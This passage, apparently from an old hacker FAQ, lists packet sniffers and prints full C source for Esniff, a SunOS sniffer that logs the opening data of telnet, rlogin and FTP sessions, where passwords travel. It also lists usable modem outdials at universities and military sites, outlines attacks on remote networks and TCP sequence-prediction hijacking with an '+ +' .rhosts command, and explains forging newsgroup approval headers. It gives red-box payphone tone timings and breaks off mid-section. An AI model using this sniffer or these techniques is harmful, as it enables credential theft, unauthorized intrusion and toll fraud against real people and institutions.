HP/UX nettl (monitor) & netfmt (display) nfswatch /* Available via anonymous ftp */ Linux tcpdump /* Available via anonymous ftp at */ /* sunsite.unc.edu */ /* /pub/Linux/system/Network/management/ */ SGI Irix nfswatch /* Available via anonymous ftp */ Etherman tcpdump /* Available via anonymous ftp */ Solaris snoop tcpdump SunOS etherfind nfswatch /* Available via anonymous ftp */ tcpdump /* Available via anonymous ftp */ DOS ETHLOAD /* Available via anonymous ftp as */ /* ethld104.zip */ The Gobbler /* Available via anonymous ftp */ LanPatrol LanWatch Netmon Netwatch Netzhack /* Available via anonymous ftp at */ /* mistress.informatik.unibw-muenchen.de */ /* /pub/assembler/netzhack.mac */ Macintosh Etherpeek NetMinderEthernet /* Commercial */ [Note from Dan Mellem: VMS running MULTINET has a packet sniffer: $ mu tcpdump and $ mu tcpview, but these are privileged commands. H.] Here is source code for a sample ethernet sniffer using NIT under SunOS 4.x: /* Esniff.c */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define ERR stderr char *malloc(); char *device, *ProgName, *LogName; FILE *LOG; int debug=0; #define NIT_DEV "/dev/nit" #define CHUNKSIZE 4096 /* device buffer size */ int if_fd = -1; int Packet[CHUNKSIZE+32]; void Pexit(err,msg) int err; char *msg; { perror(msg); exit(err); } void Zexit(err,msg) int err; char *msg; { fprintf(ERR,msg); exit(err); } #define IP ((struct ip *)Packet) #define IP_OFFSET (0x1FFF) #define SZETH (sizeof(struct ether_header)) #define IPLEN (ntohs(ip->ip_len)) #define IPHLEN (ip->ip_hl) #define TCPOFF (tcph->th_off) #define IPS (ip->ip_src) #define IPD (ip->ip_dst) #define TCPS (tcph->th_sport) #define TCPD (tcph->th_dport) #define IPeq(s,t) ((s).s_addr == (t).s_addr) #define TCPFL(FLAGS) (tcph->th_flags & (FLAGS)) #define MAXBUFLEN (128) time_t LastTIME = 0; struct CREC { struct CREC *Next, *Last; time_t Time; /* start time */ struct in_addr SRCip, DSTip; u_int SRCport, /* src/dst ports */ DSTport; u_char Data[MAXBUFLEN+2]; /* important stuff :-) */ u_int Length; /* current data length */ u_int PKcnt; /* # pkts */ u_long LASTseq; }; struct CREC *CLroot = NULL; char *Symaddr(ip) register struct in_addr ip; { register struct hostent *he = gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET); return( (he)?(he->h_name):(inet_ntoa(ip)) ); } char *TCPflags(flgs) register u_char flgs; { static char iobuf[8]; #define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-') SFL(0,TH_FIN, 'F'); SFL(1,TH_SYN, 'S'); SFL(2,TH_RST, 'R'); SFL(3,TH_PUSH,'P'); SFL(4,TH_ACK, 'A'); SFL(5,TH_URG, 'U'); iobuf[6]=0; return(iobuf); } char *SERVp(port) register u_int port; { static char buf[10]; register char *p; switch(port) { case IPPORT_LOGINSERVER: p="rlogin"; break; case IPPORT_TELNET: p="telnet"; break; case IPPORT_SMTP: p="smtp"; break; case IPPORT_FTP: p="ftp"; break; default: sprintf(buf,"%u",port); p=buf; break; } return(p); } char *Ptm(t) register time_t *t; { register char *p = ctime(t); p[strlen(p)-6]=0; /* strip " YYYY\n" */ return(p); } char *NOWtm() { time_t tm; time(&tm); return( Ptm(&tm) ); } #define MAX(a,b) (((a)>(b))?(a):(b)) #define MIN(a,b) (((a)<(b))?(a):(b)) /* add an item */ #define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \ register struct CREC *CLtmp = \ (struct CREC *)malloc(sizeof(struct CREC)); \ time( &(CLtmp->Time) ); \ CLtmp->SRCip.s_addr = SIP.s_addr; \ CLtmp->DSTip.s_addr = DIP.s_addr; \ CLtmp->SRCport = SPORT; \ CLtmp->DSTport = DPORT; \ CLtmp->Length = MIN(LEN,MAXBUFLEN); \ bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \ CLtmp->PKcnt = 1; \ CLtmp->Next = CLroot; \ CLtmp->Last = NULL; \ CLroot = CLtmp; \ } register struct CREC *GET_NODE(Sip,SP,Dip,DP) register struct in_addr Sip,Dip; register u_int SP,DP; { register struct CREC *CLr = CLroot; while(CLr != NULL) { if( (CLr->SRCport == SP) && (CLr->DSTport == DP) && IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) ) break; CLr = CLr->Next; } return(CLr); } #define ADDDATA_NODE(CL,DATA,LEN) { \ bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \ CL->Length += LEN; \ } #define PR_DATA(dp,ln) { \ register u_char lastc=0; \ while(ln-- >0) { \ if(*dp < 32) { \ switch(*dp) { \ case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \ break; \ case '\r': \ case '\n': fprintf(LOG,"\n : "); \ break; \ default : fprintf(LOG,"^%c", (*dp + 64)); \ break; \ } \ } else { \ if(isprint(*dp)) fputc(*dp,LOG); \ else fprintf(LOG,"(%d)",*dp); \ } \ lastc = *dp++; \ } \ fflush(LOG); \ } void END_NODE(CLe,d,dl,msg) register struct CREC *CLe; register u_char *d; register int dl; register char *msg; { fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time)); fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport)); fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport)); fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n", NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg); fprintf(LOG," DATA: "); { register u_int i = CLe->Length; register u_char *p = CLe->Data; PR_DATA(p,i); PR_DATA(d,dl); } fprintf(LOG,"\n-- \n"); fflush(LOG); if(CLe->Next != NULL) CLe->Next->Last = CLe->Last; if(CLe->Last != NULL) CLe->Last->Next = CLe->Next; else CLroot = CLe->Next; free(CLe); } /* 30 mins (x 60 seconds) */ #define IDLE_TIMEOUT 1800 #define IDLE_NODE() { \ time_t tm; \ time(&tm); \ if(LastTIMENext; \ if(CLe->Time ether_type); if(EtherType < 0x600) { EtherType = *(u_short *)(cp + SZETH + 6); cp+=8; pktlen-=8; } if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */ return; } /* ugh, gotta do an alignment :-( */ bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH)); ip = (struct ip *)Packet; if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */ return; tcph = (struct tcphdr *)(Packet + IPHLEN); if(!( (TCPD == IPPORT_TELNET) || (TCPD == IPPORT_LOGINSERVER) || (TCPD == IPPORT_FTP) )) return; { register struct CREC *CLm; register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4)); register u_char *p = (u_char *)Packet; p += ((IPHLEN * 4) + (TCPOFF * 4)); if(debug) { fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length); fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS)); fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD)); } if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) { CLm->PKcnt++; if(length>0) if( (CLm->Length + length) < MAXBUFLEN ) { ADDDATA_NODE( CLm, p,length); } else { END_NODE( CLm, p,length, "DATA LIMIT"); } if(TCPFL(TH_FIN|TH_RST)) { END_NODE( CLm, (u_char *)NULL,0, TCPFL(TH_FIN)?"TH_FIN":"TH_RST" ); } } else { if(TCPFL(TH_SYN)) { ADD_NODE(IPS,IPD,TCPS,TCPD,p,length); } } IDLE_NODE(); } } /* signal handler */ void death() { register struct CREC *CLe; while(CLe=CLroot) END_NODE( CLe, (u_char *)NULL,0, "SIGNAL"); fprintf(LOG,"\nLog ended at => %s\n",NOWtm()); fflush(LOG); if(LOG != stdout) fclose(LOG); exit(1); } /* opens network interface, performs ioctls and reads from it, * passing data to filter function */ void do_it() { int cc; char *buf; u_short sp_ts_len; if(!(buf=malloc(CHUNKSIZE))) Pexit(1,"Eth: malloc"); /* this /dev/nit initialization code pinched from etherfind */ { struct strioctl si; struct ifreq ifr; struct timeval timeout; u_int chunksize = CHUNKSIZE; u_long if_flags = NI_PROMISC; if((if_fd = open(NIT_DEV, O_RDONLY)) < 0) Pexit(1,"Eth: nit open"); if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0) Pexit(1,"Eth: ioctl (I_SRDOPT)"); si.ic_timout = INFTIM; if(ioctl(if_fd, I_PUSH, "nbuf") < 0) Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")"); timeout.tv_sec = 1; timeout.tv_usec = 0; si.ic_cmd = NIOCSTIME; si.ic_len = sizeof(timeout); si.ic_dp = (char *)&timeout; if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)"); si.ic_cmd = NIOCSCHUNK; si.ic_len = sizeof(chunksize); si.ic_dp = (char *)&chunksize; if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)"); strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name)); ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0'; si.ic_cmd = NIOCBIND; si.ic_len = sizeof(ifr); si.ic_dp = (char *)𝔦 if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)"); si.ic_cmd = NIOCSFLAGS; si.ic_len = sizeof(if_flags); si.ic_dp = (char *)&if_flags; if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)"); if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0) Pexit(1,"Eth: ioctl (I_FLUSH)"); } while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) { register char *bp = buf, *bufstop = (buf + cc); while (bp < bufstop) { register char *cp = bp; register struct nit_bufhdr *hdrp; hdrp = (struct nit_bufhdr *)cp; cp += sizeof(struct nit_bufhdr); bp += hdrp->nhb_totlen; filter(cp, (u_long)hdrp->nhb_msglen); } } Pexit((-1),"Eth: read"); } /* Authorize your program, generate your own password and uncomment here */ /* #define AUTHPASSWD "EloiZgZejWyms" */ void getauth() { char *buf,*getpass(),*crypt(); char pwd[21],prmpt[81]; strcpy(pwd,AUTHPASSWD); sprintf(prmpt,"(%s)UP? ",ProgName); buf=getpass(prmpt); if(strcmp(pwd,crypt(buf,pwd))) exit(1); } */ void main(argc, argv) int argc; char **argv; { char cbuf[BUFSIZ]; struct ifconf ifc; int s, ac=1, backg=0; ProgName=argv[0]; /* getauth(); */ LOG=NULL; device=NULL; while((acifr_name; } fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV); fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout", (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n"); if(!LOG) LOG=stdout; signal(SIGINT, death); signal(SIGTERM,death); signal(SIGKILL,death); signal(SIGQUIT,death); if(backg && debug) { fprintf(ERR,"[Cannot bg with debug on]\n"); backg=0; } if(backg) { register int s; if((s=fork())>0) { fprintf(ERR,"[pid %d]\n",s); exit(0); } else if(s<0) Pexit(1,"fork"); if( (s=open("/dev/tty",O_RDWR))>0 ) { ioctl(s,TIOCNOTTY,(char *)NULL); close(s); } } fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid()); fflush(LOG); do_it(); } --------------------------------------------------------------------------- B-06. What is an Internet Outdial? An Internet outdial is a modem connected to the Internet than you can use to dial out. Normal outdials will only call local numbers. A GOD (Global OutDial) is capable of calling long distance. Outdials are an inexpensive method of calling long distance BBS's. --------------------------------------------------------------------------- B-07. What are some Internet Outdials? This FAQ answer is excerpted from CoTNo #5: Internet Outdial List v3.0 by Cavalier and DisordeR Introduction ------------ There are several lists of Internet outdials floating around the net these days. The following is a compilation of other lists, as well as v2.0 by DeadKat(CoTNo issue 2, article 4). Unlike other lists where the author just ripped other people and released it, we have sat down and tested each one of these. Some of them we have gotten "Connection Refused" or it timed out while trying to connect...these have been labeled dead. Working Outdials ---------------- as of 12/29/94 NPA IP Address Instructions --- ---------- ------------ 215 isn.upenn.edu modem 217 dialout.cecer.army.mil atdt x,xxxXXXXX 218 modem.d.umn.edu atdt9,xxxXXXX 303 yuma.acns.colostate.edu 3020 412 myriad.pc.cc.cmu.edu 2600 Press D at the prompt 412 gate.cis.pitt.edu tn3270, connect dialout.pitt.edu, atdtxxxXXXX 413 dialout2400.smith.edu Ctrl } gets ENTER NUMBER: xxxxxxx 502 outdial.louisville.edu 502 uknet.uky.edu connect kecnet @ dial: "outdial2400 or out" 602 acssdial.inre.asu.edu atdt8,,,,,[x][yyy]xxxyyyy 614 ns2400.acs.ohio-state.edu 614 ns9600.acs.ohio-state.edu 713 128.249.27.153 atdt x,xxxXXXX 714 modem.nts.uci.edu atdt[area]0[phone] 804 ublan.virginia.edu connect hayes, 9,,xxx-xxxx 804 ublan2.acc.virginia.edu connect telnet connect hayes Need Password ------------- 204 dial.cc.umanitoba.ca 206 rexair.cac.washington.edu This is an unbroken password 303 yuma.ACNS.ColoState.EDU login: modem 404 128.140.1.239 .modem8|CR 415 annex132-1.EECS.Berkeley.EDU "dial1" or "dial2" or "dialer1" 514 cartier.CC.UMontreal.CA externe,9+number 703 wal-3000.cns.vt.edu dial2400 -aa Dead/No Connect --------------- 201 idsnet 202 modem.aidt.edu 204 umnet.cc.manitoba.ca "dial12" or "dial24" 206 dialout24.cac.washington.edu 207 modem-o.caps.maine.edu 212 B719-7e.NYU.EDU dial3/dial12/dial24 212 B719-7f.NYU.EDU dial3/dial12/dial24 212 DIALOUT-1.NYU.EDU dial3/dial12/dial24 212 FREE-138-229.NYU.EDU dial3/dial12/dial24 212 UP19-4b.NYU.EDU dial3/dial12/dial24 215 wiseowl.ocis.temple.edu "atz" "atdt 9xxxyyyy" 218 aa28.d.umn.edu "cli" "rlogin modem" at "login:" type "modem" 218 modem.d.umn.edu Hayes 9,XXX-XXXX 301 dial9600.umd.edu 305 alcat.library.nova.edu 305 office.cis.ufl.edu 307 modem.uwyo.edu Hayes 0,XXX-XXXX 313 35.1.1.6 dial2400-aa or dial1200-aa or dialout 402 dialin.creighton.edu 402 modem.criegthon.edu 404 broadband.cc.emory.edu ".modem8" or ".dialout" 408 dialout.scu.edu 408 dialout1200.scu.edu 408 dialout2400.scu.edu 408 dialout9600.scu.edu 413 dialout.smith.edu 414 modems.uwp.edu 416 annex132.berkely.edu atdt 9,,,,, xxx-xxxx 416 pacx.utcs.utoronto.ca modem 503 dialout.uvm.edu 513 dialout24.afit.af.mil 513 r596adi1.uc.edu 514 pacx.CC.UMontreal.CA externe#9 9xxx-xxxx 517 engdial.cl.msu.edu 602 dial9600.telcom.arizona.edu 603 dialout1200.unh.edu 604 dial24-nc00.net.ubc.ca 604 dial24-nc01.net.ubc.ca 604 dial96-np65.net.ubc.ca 604 gmodem.capcollege.bc.ca 604 hmodem.capcollege.bc.ca 609 128.119.131.11X (X= 1 - 4) Hayes 609 129.119.131.11x (x = 1 to 4) 609 wright-modem-1.rutgers.edu 609 wright-modem-2.rutgers.edu 612 modem_out12e7.atk.com 612 modem_out24n8.atk.com 614 ns2400.ircc.ohio-state.edu "dial" 615 dca.utk.edu dial2400 D 99k # 615 MATHSUN23.MATH.UTK.EDU dial 2400 d 99Kxxxxxxx 616 modem.calvin.edu 617 128.52.30.3 2400baud 617 dialout.lcs.mit.edu 617 dialout1.princeton.edu 617 isdn3.Princeton.EDU 617 jadwingymkip0.Princeton.EDU 617 lord-stanley.Princeton.EDU 617 mpanus.Princeton.EDU 617 mrmodem.wellesley.edu 617 old-dialout.Princeton.EDU 617 stagger.Princeton.EDU 617 sunshine-02.lcs.mit.edu 617 waddle.Princeton.EDU 619 128.54.30.1 atdt [area][phone] 619 dialin.ucsd.edu "dialout" 703 modem_pool.runet.edu 703 wal-3000.cns.vt.edu 713 128.249.27.154 "c modem96" "atdt 9xxx-xxxx" or "Hayes" 713 modem12.bcm.tmc.edu 713 modem24.bcm.tmc.edu 713 modem24.bcm.tmc.edu 714 mdmsrv7.sdsu.edu atdt 8xxx-xxxx 714 modem24.nts.uci.edu 714 pub-gopher.cwis.uci.edu 801 dswitch.byu.edu "C Modem" 808 irmodem.ifa.hawaii.edu 902 star.ccs.tuns.ca "dialout" 916 129.137.33.72 916 cc-dnet.ucdavis.edu connect hayes/dialout 916 engr-dnet1.engr.ucdavis.edu UCDNET C KEYCLUB ??? 128.119.131.11X (1 - 4) ??? 128.200.142.5 ??? 128.54.30.1 nue, X to discontinue, ? for Help ??? 128.6.1.41 ??? 128.6.1.42 ??? 129.137.33.72 ??? 129.180.1.57 ??? 140.112.3.2 ntu ??? annexdial.rz.uni-duesseldorf.de ??? dial96.ncl.ac.uk ??? dialout.plk.af.mil ??? ee21.ee.ncu.edu.tw cs8005 ??? im.mgt.ncu.edu.tw guest ??? modem.cis.uflu.edu ??? modem.ireq.hydro.qc.ca ??? modems.csuohio.edu ??? sparc20.ncu.edu.tw u349633 ??? sun2cc.nccu.edu.tw ? ??? ts-modem.une.oz.au ??? twncu865.ncu.edu.tw guest ??? vtnet1.cns.ut.edu "CALL" or "call" Conclusion ---------- If you find any of the outdials to have gone dead, changed commands, or require password, please let us know so we can keep this list as accurate as possible. If you would like to add to the list, feel free to mail us and it will be included in future versions of this list, with your name beside it. Have fun... [Editors note: Updates have been made to this document after the original publication] --------------------------------------------------------------------------- B-08. What port is XXX on? The file /etc/services on most Unix machines lists the port assignments for that machine. For a complete list of port assignments, read RFC (Request For Comments) 1700 "Assigned Numbers" --------------------------------------------------------------------------- B-09. What is an anonymous remailer? This FAQ answer was written by Raph Levien: An anonymous remailer is a system on the Internet that allows you to send e-mail or post messages to Usenet anonymously. There are two sorts of remailers in widespread use. The first is the anon.penet.fi style, the second is the cypherpunk style. The remailer at anon.penet.fi is immensely popular, with over 160,000 users over its lifetime, and probably tens of thousands of messages per day. Its main advantage is that it's so easy to use. The cypherpunks mailers, which provide much better security, are becoming more popular, however, as there is more awareness of them. The user of the anon.penet.fi system first needs to get an anonymous id. This is done either by sending mail to somebody who already has one (for example, by replying to a post on Usenet), or sending mail to ping@anon.penet.fi. In either case, penet will mail back the new anon id, which looks like an123456@anon.penet.fi. If an123456 then sends mail to another user of the system, then this is what happens: 1. The mail is transported to anon.penet.fi, which resides somewhere in the vicinity of Espoo, Finland. 2. These steps are carried out by software running on anon.penet.fi. Penet first looks up the email address of the sender in its database, then replaces it with the numeric code. All other information about the sender is removed. 3. Then, penet looks up the number of the recipient in the same database, and replaces it with the actual email address. 4. Finally, it sends the mail to the actual email address of the recipient. There are variations on this scheme, such as posting to Usenet (in which step 3 is eliminated), but that's the basic idea. Where anon.penet.fi uses a secret database to match anon id's to actual email addresses, the cypherpunks remailers use cryptography to hide the actual identities. Let's say I want to send email to a real email address, or post it to Usenet, but keep my identity completely hidden. To send it through one remailer, this is what happens. 1. I encrypt the message and the recipient's address, using the public key of the remailer of my choice. 2. I send the email to the remailer. 3. When the remailer gets the mail, it decrypts it using its private key, revealing as plaintext the message and the recipient's address. 4. All information about the sender is removed. 5. Finally, it sends it to the recipient's email address. If one trusts the remailer operator, this is good enough. However, the whole point of the cypherpunks remailers is that you don't _have_ to trust any one individual or system. So, people who want real security use a chain of remailers. If any one remailer on the "chain" is honest, then the privacy of the message is assured. To use a chain of remailers, I first have to prepare the message, which is nestled within multiple layers of encryption, like a Russian matryoshka doll. Preparing such a message is tedious and error prone, so many people use an automated tool such as my premail package. Anyway, after preparing the message, it is sent to the first remailer in the chain, which corresponds to the outermost layer of encryption. Each remailer strips off one layer of encryption and sends the message to the next, until it reaches the final remailer. At this point, only the innermost layer of encryption remains. This layer is stripped off, revealing the plaintext message and recipient for the first time. At this point, the message is sent to its actual recipient. Remailers exist in many locations. A typical message might go through Canada, Holland, Berkeley, and Finland before ending up at its final location. Aside from the difficulty of preparing all the encrypted messages, another drawback of the cypherpunk remailers is that they don't easily allow responses to anonymous mail. All information about the sender is stripped away, including any kind of return address. However the new alias servers promise to change that. To use an alias server, one creates a new email address (mine is raph@alpha.c2.org). Mail sent to this new address will be untraceably forwarded to one's real address. To set this up, one first encrypts one's own email address with multiple layers of encryption. Then, using an encrypted channel, one sends the encrypted address to the alias server, along with the nickname that one would like. The alias server registers the encrypted address in the database. The alias server then handles reply mail in much the same way as anon.penet.fi, except that the mail is forwarded to the chain of anonymous remailers. For maximum security, the user can arrange it so that, at each link in the chain, the remailer adds another layer of encryption to the message while removing one layer from the email address. When the user finally gets the email, it is encrypted in multiple layers. The matryoshka has to be opened one doll at a time until the plaintext message hidden inside is revealed. One other point is that the remailers must be reliable in order for all this to work. This is especially true when a chain of remailers is used -- if any one of the remailers is not working, then the message will be dropped. This is why I maintain a list of reliable remailers. By choosing reliable remailers to start with, there is a good chance the message will finally get there. --------------------------------------------------------------------------- B-10. What are the addresses of some anonymous remailers? To see a comprehensive list on anonymous remailers point your web browser to http://anon.efga.org/~rlist/. For more information regarding anonymous email, check out http://web.rge.com/pub/security/cypherpunks/. The following URL's allow you to send anonymous e-mail via the world wide web: http://www.anonymizer.com/email/remailer-power.cgi?to= http://www.contrib.andrew.cmu.edu/~gurevich/anonymous-email/index.html http://www.ozemail.com.au/~geoffk/anon/anon.html --------------------------------------------------------------------------- B-11. What is 127.0.0.1? 127.0.0.1 is a loopback network connection. If you telnet, ftp, etc... to it you are connected to your own machine. [Note from Dan Mellem: 127.0.0.127 is commonly used as the loopback address. H.] --------------------------------------------------------------------------- B-12. How do I post to a moderated newsgroup? Usenet messages consist of message headers and message bodies. The message header tells the news software how to process the message. Headers can be divided into two types, required and optional. Required headers are ones like "From" and "Newsgroups." Without the required headers, your message will not be posted properly. One of the optional headers is the "Approved" header. To post to a moderated newsgroup, simply add an Approved header line to your message header. The header line should contain the newsgroup moderators e-mail address. To see the correct format for your target newsgroup, save a message from the newsgroup and then look at it using any text editor. A "Approved" header line should look like this: Approved: voyager@sekurity.org There cannot not be a blank line in the message header. A blank line will cause any portion of the header after the blank line to be interpreted as part of the message body. For more information, read RFC 1036: Standard for Interchange of USENET messages. --------------------------------------------------------------------------- B-13. How do I post to Usenet via e-mail? Through an e-mail->Usenet gateway. Send an a e-mail messages to @. For example, to post to alt.2600 through nic.funet.fi, address your mail to alt.2600@nic.funet.fi. Here are a few e-mail->Usenet gateways: group.name@news.demon.co.uk group.name@charm.magnus.acs.ohio-state.edu group.name@undergrad.math.uwaterloo.ca group.name@nic.funet.fi group.name.usenet@decwrl.dec.com --------------------------------------------------------------------------- B-14. What is a firewall? A firewall is a system that is set up to control traffic flow between two networks. Firewalls are most commonly specially configured Unix systems, but firewalls have also been built out of many other systems, including systems designed specifically for use as firewalls. The most common firewall today is CheckPoint FireWall-1, but competitions such as Cisco's PIX are quickly catching up on CheckPoint. Many people disagree on the definiton of a firewall, and in this discussion I will use the term loosely. One type of firewall is the packet filtering firewall. In a packet filtering firewall, the firewall examines five characteristics of a packet: Source IP address Source port Destination IP address Destination port IP protocol (TCP or UDP) Based upon rules configured into the firewall, the packet will either be allowed through, rejected, or dropped. If the firewall rejects the packet, it sends a message back to the sender letting him know that the packet was rejected. If the packet was dropped, the firewall simply does not respond to the packet. The sender must wait for the communications to time out. Dropping packets instead of rejecting them greatly increases the time required to scan your network. Packet filtering firewalls operate on Layer 3 of the OSI model, the Network Layer. Routers are a very common form of packet filtering firewall. An improved form of the packet filtering firewall is a packet filtering firewall with a stateful inspection engine. With this enhancement, the firewall "remembers" conversations between systems. It is then necessary to fully examine only the first packet of a conversation. Another type of firewall is the application-proxy firewall. In a proxying firewall, every packet is stopped at the firewall. The packet is then examined and compared to the rules configured into the firewall. If the packet passes the examinations, it is re-created and sent out. Because each packet is destroyed and re-created, there is a potential that an application-proxy firewall can prevent unknown attacks based upon weaknesses in the TCP/IP protocol suite that would not be prevented by a packet filtering firewall. The drawback is that a separate application-proxy must be written for each application type being proxied. You need an HTTP proxy for web traffic, an FTP proxy for file transfers, a Gopher proxy for Gopher traffic, etc... Application- proxy firewalls operate on Layer 7 of the OSI model, the Application Layer. Application-gateway firewalls also operate on Layer 7 of the OSI model. Application-gateway firewalls exist for only a few network applications. A typical application-gateway firewall is a system where you must telnet to one system in order telnet again to a system outside of the network. Another type of application-proxy firewall are SOCKS firewalls. Where normal application-proxy firewalls do not require modifications to network clients, SOCKS firewalls requires specially modified network clients. This means you have to modify every system on your internal network which needs to communicate with the external network. On a Windows or OS/2 system, this can be as easy as swapping a few DLL's. --------------------------------------------------------------------------- B-15. How do I attack a remote network across the Internet? On a theoretical level, attacking a remote network across the Internet is very simple. First, you research to discover all of the IP address ranges used by the target. Search the web, search Usenet, search Internet, search RIPE, search APNIC, search everywhere. Second, you identify all hosts in those IP address ranges. This may be as simple as pinging each possible host in those networks. Be warned, however, that many hosts will be protected by firewalls that prvent ICMP ECHO Requests (used by ping) from reaching them. Those hosts may still have vulnerable services running on them. Third, you identify all open ports on each of those hosts. For example, one host may be providing dns, bootp, and time services. This is normally done by "port scanning" the host. Port scanning UDP ports is much slower than port scanning TCP ports. TCP ports will respond negatively when they are not open. UDP ports require you to wait for a timeout. You may choose to scan only known ports, or to scan only ports below 1024, or to scan all 65,535 ports. Fourth, you attack vulnerable services. If you see a time server running and you know of a time server exploit, you try it out. Perhaps the target is running an OS that is not vulnerable, or perhaps the system administrator has patched the target host. Or, maybe you will succeed. Vulnerability information can be gleaned from Internet WWW sites or mailing lists, traded privately, or developed on your own. --------------------------------------------------------------------------- B-16. What is a TCP sequence prediction attack? TCP is a reliable connection-oriented layer 4 (Transport Layer) protocol. Packet transfer between hosts is accomplished by the layers below layer 4 and TCP takes responsibility to making certain the packets are delivered to higher layers in the protocol stack in the correct order. To accomplish this reordering task, TCP uses the sequence number field. To successfully mount a TCP sequence prediction attack, you must first listen to communications between two systems, one of which is your target system. Then, you issue packets from your system to the target system with the source IP address of the trusted system that is communicating with the target system. The packets you issue must have the sequence numbers that the target system is expecting. In addition, your packets must arrive before the packets from the trusted system whose connection you are hijacking. To accomplish this, it is often necessary to flood the trusted system off of the network with some form of denial of service attack. Once you have taken over the connection, you can send data to allow you to access the target host using a normal TCP/IP connection. The most simple way to do this is: echo "+ +" > /.rhosts This specific technique relies upon inherent weaknesses in the BSD Unix `r` services. However, SunRPC, NFS, X-Windows, and many other services which rely upon IP address authentication can be exploited with a TCP sequence prediction attack. An excerpt from RFC 793 concering the generation of TCP sequence numbers: When new connections are created, an initial sequence number (ISN) generator is employed which selects a new 32 bit ISN. The generator is bound to a (possibly fictitious) 32 bit clock whose low order bit is incremented roughly every 4 microseconds. Thus, the ISN cycles approximately every 4.55 hours. Since we assume that segments will stay in the network no more than the Maximum Segment Lifetime (MSL) and that the MSL is less than 4.55 hours we can reasonably assume that ISN's will be unique. The developers of the BSD Unix TCP/IP stack did not follow these recommendations. TCP/IP stacks based upon BSD Unix increase the sequence number by 128,000 every second and by 64,000 for every new TCP connection. This is significantly more predictable than the algorithm specified in the RFC. TCP sequence prediction attacks are stopped by any router or firewall that is configured not to allow packets from an internal IP address to originate from an external interface. TCP Header Format ----------------- 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Port | Destination Port | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Sequence Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Acknowledgment Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Data | |U|A|P|R|S|F| | | Offset| Reserved |R|C|S|S|Y|I| Window | | | |G|K|H|T|N|N| | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Checksum | Urgent Pointer | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Options | Padding | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | data | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-= Section C -- Telephony =-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= C-01. What is a Red Box? When a coin is inserted into a payphone, the payphone emits a set of tones to ACTS (Automated Coin Toll System). Red boxes work by fooling ACTS into believing you have actually put money into the phone. The red box simply plays the ACTS tones into the telephone microphone. ACTS hears those tones, and allows you to place your call. The actual tones are: Nickel: 35-160ms 1700hz & 2200hz tone burst, followed by 240ms of silence. Dime: Two 35-160ms 1700hz & 2200hz bursts, with a spacing of 20-110ms between the bursts, followed by 165 ms of silence. Quarter: Five 1700hz & 2200hz bursts, with the first and last being 20-100ms in length, and the second through fourth being 20-60ms in length. The spacing between the first and second bursts is 20-110ms, while the spacing between the following bursts is 20-60ms. The 